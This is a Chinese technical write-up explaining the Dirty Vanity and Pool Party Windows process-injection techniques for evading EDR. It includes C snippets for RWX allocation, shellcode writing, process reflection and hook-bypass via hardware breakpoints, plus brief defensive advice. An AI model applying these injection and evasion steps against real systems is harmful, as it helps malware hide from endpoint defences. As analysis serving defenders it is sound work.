Dirty Vanity And Pool Party的分析和思考
字数 2457 2025-08-23 18:31:24
Windows EDR 绕过技术:Dirty Vanity 与 Pool Party 分析与教学
1. 传统进程注入技术回顾
传统进程注入通常分为三个步骤:
-
分配空间:为 shellcode 分配内存空间
- 常用函数:
VirtualAllocEx,NtMapViewOfSection,GlobalAddAtom
- 常用函数:
-
写入 shellcode:将 shellcode 写入分配的空间
- 常用函数:
WriteProcessMemory,NtMapViewOfSection
- 常用函数:
-
执行 shellcode:使用执行原语运行 shellcode
2. Dirty Vanity 技术分析
2.1 技术原理
Dirty Vanity 是 Black Hat 2022 提出的技术,利用 Windows 的 process forking 机制绕过 EDR:
- 写入阶段:在目标进程分配并写入 shellcode
- Fork 和执行:在目标进程上执行远程 Fork,将进程起始地址设为 shellcode
2.2 关键函数
RtlCreateProcessReflection:创建进程反射,指向克隆的 shellcodeNtCreateProcess[Ex]:创建新进程OpenProcess:需要特定权限组合:PROCESS_VM_OPERATIONPROCESS_VM_WRITEPROCESS_CREATE_THREADPROCESS_DUP_HANDLE
2.3 实现流程
- 获取目标进程句柄
- 分配内存并写入 shellcode
- 获取
RtlCreateProcessReflection函数指针 - 创建目标进程的 Reflection 镜像
- 将 Fork 进程的起始地址设置为 shellcode
2.4 代码实现关键点
// 获取进程句柄
HANDLE hProcess = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE,
TRUE,
victimPid
);
// 分配内存
LPVOID pRemoteMem = VirtualAllocEx(
hProcess,
NULL,
shellcodeSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
// 写入shellcode
WriteProcessMemory(
hProcess,
pRemoteMem,
shellcode,
shellcodeSize,
NULL
);
// 创建进程反射
RtlCreateProcessReflection(
hProcess,
RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES,
pRemoteMem, // 设置为shellcode地址
NULL,
NULL,
&info
);
3. Pool Party 技术分析
3.1 技术原理
Pool Party 是 Black Hat 2023 提出的技术,利用 Windows 线程池机制进行注入:
- Windows 每个进程都有线程池,由结构体表示
- 线程池有三个工作队列:
- TP_POOL Task Queue(用户态)
- Timer Queue(用户态)
- I/O 完成队列(内核态)
3.2 攻击面
可攻击的工作项类型:
- TP_WORK(工作工厂)
- TP_IO(文件对象)
- TP_ALPC(ALPC 端口对象)
- TP_JOB(作业对象)
- TP_WAIT(可等待对象)
- TP_TIMER(定时器)
3.3 关键组件分析
3.3.1 WorkerFactory.cpp
封装了工作工厂相关函数:
w_NtQueryInformationWorkerFactoryw_NtSetInformationWorkerFactory
3.3.2 WinApi.cpp
关键函数:
w_WriteFile:异步文件写入w_CreateJobObject:创建作业对象w_SetInformationJobObjectw_AssignProcessToJobObject
3.3.3 Native.cpp
重要 Native API 封装:
w_ZwAssociateWaitCompletionPacket:关联等待完成包w_NtAlpcCreatePort:创建 ALPC 端口w_ZwSetIoCompletion:设置 I/O 完成状态w_NtSetTimer2:设置定时器
3.3.4 HandleHijacker.cpp
句柄劫持功能:
HijackProcessHandle:劫持指定类型进程句柄- 工作工厂(TpWorkerFactory)
- I/O 完成(IoCompletion)
- IR 定时器(IRTimer)
3.3.5 PoolParty.cpp
核心注入逻辑:
- 获取目标进程句柄
- 劫持特定类型句柄
- 分配内存并写入 shellcode
- 执行 shellcode
3.4 注入类型实现
PoolParty 的派生类实现不同注入方式:
RemoteTpWorkInsertion:TP_WORK 工作项RemoteTpWaitInsertion:TP_WAIT 工作项RemoteTpIoInsertion:TP_IO 工作项RemoteTpAlpcInsertion:TP_ALPC 工作项RemoteTpJobInsertion:TP_JOB 工作项RemoteTpDirectInsertion:TP_DIRECT 工作项RemoteTpTimerInsertion:TP_TIMER 工作项
3.5 主函数流程
int main(int argc, char** argv) {
InitLogging();
try {
const auto CmdArgs = ParseArgs(argc, argv);
if (CmdArgs.bDebugPrivilege) {
w_RtlAdjustPrivilege(SeDebugPrivilege, TRUE, FALSE);
}
const auto Injector = PoolPartyFactory(CmdArgs.VariantId, CmdArgs.TargetPid);
Injector->Inject();
} catch (...) {
// 错误处理
}
return 1;
}
4. 技术结合与进阶思考
4.1 技术结合可能性
将两种技术结合:
- 将进程池的目标设为 Windows 进程 fork 的对象
- 利用父进程特性对注入的子进程进行规避
4.2 API 调用规避技术
-
间接调用:避免直接调用可能被挂钩的函数
DWORD SetThreadContextThread(LPVOID param) { NtSetContextThread(NULL, NULL); return 0; } SetUnhandledExceptionFilter(BreakpointHandler); HANDLE new_thread = CreateThread(NULL, NULL, SetThreadContextThread, NULL, CREATE_SUSPENDED, NULL); SetSyscallBreakpoints((LPVOID)NtSetContextThread, new_thread); ResumeThread(new_thread); -
硬件断点:通过设置硬件断点绕过 EDR 检测
-
寄存器操作:修改寄存器值干扰检测
4.3 其他规避思路
参考 MalwareTech 文章:
- 非常规 API 调用方式
- 代码混淆
- 执行流干扰
5. 防御建议
针对这些攻击技术,防御方应考虑:
- 监控进程 fork 行为
- 检测线程池异常操作
- 加强对 Native API 的监控
- 实施行为分析而非单纯 API 挂钩
- 监控进程间异常句柄传递
6. 总结
Dirty Vanity 和 Pool Party 代表了 Windows 进程注入技术的新方向:
- Dirty Vanity 利用进程 fork 机制
- Pool Party 利用线程池特性
- 两者都避开了传统注入技术的检测点
- 结合使用可能产生更强大的规避技术
理解这些技术对于攻防双方都至关重要,有助于开发更有效的安全解决方案或更隐蔽的攻击技术。